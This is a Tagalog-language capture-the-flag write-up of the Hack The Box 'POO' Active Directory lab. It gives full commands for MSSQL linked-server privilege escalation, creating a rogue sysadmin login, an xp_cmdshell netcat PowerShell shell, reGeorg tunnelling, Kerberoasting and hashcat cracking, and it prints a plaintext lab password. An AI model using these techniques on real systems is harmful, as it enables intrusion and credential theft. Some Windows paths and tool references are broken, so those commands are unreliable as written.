Sa artikulong ito susuriin namin ang pagpasa ng hindi lamang isang makina, ngunit isang buong mini-laboratoryo mula sa site
Gaya ng nakasaad sa paglalarawan, ang POO ay idinisenyo upang subukan ang mga kasanayan sa lahat ng yugto ng pag-atake sa isang maliit na kapaligiran ng Active Directory. Ang layunin ay ikompromiso ang isang naa-access na host, palakihin ang mga pribilehiyo, at sa huli ay ikompromiso ang buong domain habang nangongolekta ng 5 flag.
Ang koneksyon sa laboratoryo ay sa pamamagitan ng VPN. Inirerekomenda na huwag kumonekta mula sa isang computer sa trabaho o mula sa isang host kung saan mayroong data na mahalaga sa iyo, dahil napupunta ka sa isang pribadong network kasama ang mga taong may alam sa larangan ng seguridad ng impormasyon :)
Impormasyon sa organisasyon
Upang matulungan kang manatiling napapanahon sa mga bagong artikulo, software, at iba pang impormasyon, gumawa ako
Ang lahat ng impormasyon ay ipinakita para sa mga layuning pang-edukasyon lamang. Ang may-akda ng dokumentong ito ay hindi tumatanggap ng anumang pananagutan para sa anumang pinsalang dulot ng sinuman bilang resulta ng paggamit ng kaalaman at mga pamamaraan na nakuha mula sa pag-aaral ng dokumentong ito.
Intro
Ang endgame na ito ay binubuo ng dalawang machine, at naglalaman ng 5 flag.
Ang isang paglalarawan at address ng magagamit na host ay ibinigay din.
Magsimula tayo!
Recon flag
Ang makinang ito ay may IP address na 10.13.38.11, na idinaragdag ko sa /etc/hosts.
10.13.38.11 poo.htb
Una sa lahat, ini-scan namin ang mga bukas na port. Dahil matagal ang pag-scan sa lahat ng port gamit ang nmap, gagawin ko muna ito gamit ang masscan. Ini-scan namin ang lahat ng TCP at UDP port mula sa tun0 interface sa bilis na 500 packet bawat segundo.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Ngayon, para makakuha ng mas detalyadong impormasyon tungkol sa mga serbisyong tumatakbo sa mga port, magpatakbo tayo ng pag-scan gamit ang -A na opsyon.
nmap -A poo.htb -p80,1433
Kaya mayroon kaming mga serbisyo ng IIS at MSSQL. Sa kasong ito, malalaman natin ang tunay na pangalan ng DNS ng domain at computer. Sa web server ay binabati tayo ng home page ng IIS.
Dumaan tayo sa mga direktoryo. Gumagamit ako ng gobuster para dito. Sa mga parameter, ipinapahiwatig namin ang bilang ng mga thread 128 (-t), URL (-u), diksyunaryo (-w) at mga extension na interesado sa amin (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Nagbibigay ito sa amin ng HTTP authentication para sa /admin directory, pati na rin ang isang naa-access na desktop service .DS_Store file. Ang .DS_Store ay mga file na nag-iimbak ng mga custom na setting para sa isang folder, gaya ng listahan ng mga file, lokasyon ng icon, at piniling larawan sa background. Ang nasabing file ay maaaring mapunta sa direktoryo ng web server ng mga web developer. Sa ganitong paraan nakakakuha kami ng impormasyon tungkol sa mga nilalaman ng direktoryo. Para dito maaari mong gamitin
python3 dsstore_crawler.py -i http://poo.htb/
Nakukuha namin ang mga nilalaman ng direktoryo. Ang pinaka-kagiliw-giliw na bagay dito ay ang /dev na direktoryo, kung saan maaari nating tingnan ang mga mapagkukunan at db file sa dalawang sangay. Ngunit maaari naming gamitin ang unang 6 na character ng mga pangalan ng file at direktoryo kung ang serbisyo ay mahina sa IIS ShortName. Maaari mong suriin para sa kahinaan na ito gamit ang
At nakakita kami ng isang text file na nagsisimula sa "poo_co". Hindi alam kung ano ang susunod na gagawin, pinili ko lang ang lahat ng mga salita na nagsisimula sa "co" mula sa diksyunaryo ng direktoryo.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
At aayusin natin ito gamit ang wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
At nakita namin ang tamang salita! Tinitingnan namin ang file na ito, i-save ang mga kredensyal (paghusga sa parameter ng DBNAME, ang mga ito ay mula sa MSSQL).
Isinusuko namin ang bandila at sumusulong kami ng 20%.
Huh bandila
Kumonekta kami sa MSSQL, gumagamit ako ng DBeaver.
Wala kaming nakitang kawili-wili sa database na ito, gumawa tayo ng SQL Editor at tingnan kung ano ang mga user.
SELECT name FROM master..syslogins;
Mayroon kaming dalawang gumagamit. Suriin natin ang ating mga pribilehiyo.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Kaya, walang mga pribilehiyo. Tingnan natin ang mga naka-link na server, isinulat ko ang tungkol sa diskarteng ito nang detalyado
SELECT * FROM master..sysservers;
Ito ay kung paano namin mahanap ang isa pang SQL Server. Subukan natin ang pagpapatupad ng mga utos sa server na ito gamit ang openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
At maaari pa tayong bumuo ng query tree.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Ang punto ay kapag gumawa kami ng isang kahilingan sa isang naka-link na server, ang kahilingan ay isinasagawa sa konteksto ng isa pang user! Tingnan natin sa konteksto kung sinong user ang ginagawa namin sa isang naka-link na server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Ngayon tingnan natin kung anong konteksto ang isang kahilingan mula sa isang naka-link na server sa atin!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Kaya ito ang konteksto ng DBO na dapat magkaroon ng lahat ng mga pribilehiyo. Suriin natin ang mga pribilehiyo sa kaso ng isang kahilingan mula sa isang naka-link na server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Tulad ng nakikita mo, mayroon kaming lahat ng mga pribilehiyo! Gumawa tayo ng sarili nating admin tulad nito. Ngunit hindi nila ito pinapayagan sa pamamagitan ng openquery, gawin natin ito sa pamamagitan ng EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
At ngayon kumonekta kami sa mga kredensyal ng bagong user, sinusunod namin ang bagong database ng bandila.
Ibinigay namin ang watawat na ito at magpatuloy.
bandila ng BackTrack
Kumuha tayo ng shell gamit ang MSSQL, gumagamit ako ng mssqlclient mula sa impacket package.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Kailangan nating kumuha ng mga password, at ang unang bagay na nakatagpo na natin ay isang website. Kaya, kailangan namin ng config ng web server (hindi posibleng mag-iwan ng maginhawang shell, tila gumagana ang firewall).
Ngunit ang pag-access ay tinanggihan. Bagaman nababasa natin ang file mula sa MSSQL, kailangan lang nating malaman kung anong mga programming language ang na-configure. At sa direktoryo ng MSSQL nalaman namin na mayroong Python.
Pagkatapos ay walang problema sa pagbabasa ng web.config file.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Gamit ang mga nakitang kredensyal, pumunta sa /admin at kunin ang bandila.
Watawat ng paa
Sa katunayan, may ilang mga abala mula sa paggamit ng firewall, ngunit sa pagtingin sa mga setting ng network, napansin namin na ginagamit din ang IPv6!
Idagdag natin ang address na ito sa /etc/hosts.
dead:babe::1001 poo6.htb
I-scan natin muli ang host, ngunit gamit ang IPv6 protocol.
At ang serbisyo ng WinRM ay magagamit sa IPv6. Kumonekta tayo sa mga nahanap na kredensyal.
May flag sa desktop, iniabot namin.
P00ned na bandila
Pagkatapos magsagawa ng reconnaissance sa host gamit
setspn.exe -T intranet.poo -Q */*
Patakbuhin natin ang utos sa pamamagitan ng MSSQL.
Gamit ang paraang ito, nakukuha namin ang SPN ng mga user na p00_hr at p00_adm, na nangangahulugang mahina sila sa isang pag-atake gaya ng Kerberoasting. Sa madaling salita, makukuha natin ang kanilang mga hash ng password.
Una kailangan mong makakuha ng isang matatag na shell bilang isang gumagamit ng MSSQL. Ngunit dahil limitado kami sa pag-access, mayroon kaming komunikasyon sa host sa pamamagitan lamang ng mga port 80 at 1433. Ngunit posibleng i-tunnel ang trapiko sa pamamagitan ng port 80! Para dito gagamitin natin
Ngunit kapag sinubukan naming i-access ito, nakakakuha kami ng 404 na error. Nangangahulugan ito na ang mga *.aspx file ay hindi nai-execute. Upang maisakatuparan ang mga file na may ganitong mga extension, i-install ang ASP.NET 4.5 tulad ng sumusunod.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
At ngayon, kapag na-access namin ang tunnel.aspx, nakakatanggap kami ng tugon na handa na ang lahat.
Ilunsad natin ang bahagi ng kliyente ng application, na maghahatid ng trapiko. Ipapasa namin ang lahat ng trapiko mula sa port 5432 patungo sa server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
At gumagamit kami ng mga proxychain upang magpadala ng trapiko ng anumang application sa pamamagitan ng aming proxy. Idagdag natin ang proxy na ito sa configuration file /etc/proxychains.conf.
Ngayon, i-upload natin ang programa sa server
Ngayon inilunsad namin ang tagapakinig sa pamamagitan ng MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
At kumonekta kami sa pamamagitan ng aming proxy.
proxychains rlwrap nc poo.htb 4321
At kunin natin ang mga hash.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Susunod, kailangan mong umulit sa mga hash na ito. Dahil hindi naglalaman ang diksyunaryo ng rockyou ng mga password na ito, ginamit ko ang LAHAT ng mga diksyunaryo ng password na ibinigay sa Seclist. Para sa paghahanap, ginagamit namin ang hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
At nakita namin ang parehong mga password, ang una sa diksyunaryo dutch_passwordlist.txt, at ang pangalawa sa Keyboard-Combinations.txt.
At kaya mayroon tayong tatlong user, pumunta tayo sa domain controller. Una naming alamin ang kanyang address.
Mahusay, nalaman namin ang IP address ng domain controller. Alamin natin ang lahat ng mga gumagamit ng domain, pati na rin kung sino sa kanila ang isang administrator. Upang i-download ang script upang makakuha ng impormasyon PowerView.ps1. Pagkatapos ay kumonekta kami gamit ang evil-winrm, na tumutukoy sa direktoryo na may script sa -s parameter. At pagkatapos ay ilo-load lang namin ang script ng PowerView.
Ngayon ay mayroon na tayong access sa lahat ng mga function nito. Ang p00_adm user ay mukhang isang privileged user, kaya gagawa kami sa kanyang konteksto. Gumawa tayo ng PSCredential object para sa user na ito.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Ngayon ang lahat ng Powershell command kung saan tinukoy namin ang Creds ay isasagawa bilang p00_adm. Ipakita natin ang isang listahan ng mga user at ang AdminCount attribute.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
At kaya, ang aming gumagamit ay talagang may pribilehiyo. Tingnan natin kung anong mga grupo siya.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Sa wakas, kinumpirma namin na ang user ay isang domain administrator. Nagbibigay ito sa kanya ng karapatang mag-log on sa domain controller nang malayuan. Subukan nating mag-log in sa pamamagitan ng WinRM gamit ang ating tunnel. Nalilito ako sa mga error na ginawa ng reGeorg kapag gumagamit ng evil-winrm.
Pagkatapos ay gumamit tayo ng isa pa, mas madali,
Sinusubukan naming kumonekta, at kami ay nasa system.
Ngunit walang bandila. Pagkatapos ay tingnan ang gumagamit at suriin ang mga desktop.
Nahanap namin ang bandila sa mr3ks at ang laboratoryo ay 100% na natapos.
Iyon lang. Bilang isang feedback, mangyaring magkomento kung may natutunan ka bang bago mula sa artikulong ito at kung ito ay kapaki-pakinabang sa iyo.
Maaari kang sumali sa amin sa
Pinagmulan: www.habr.com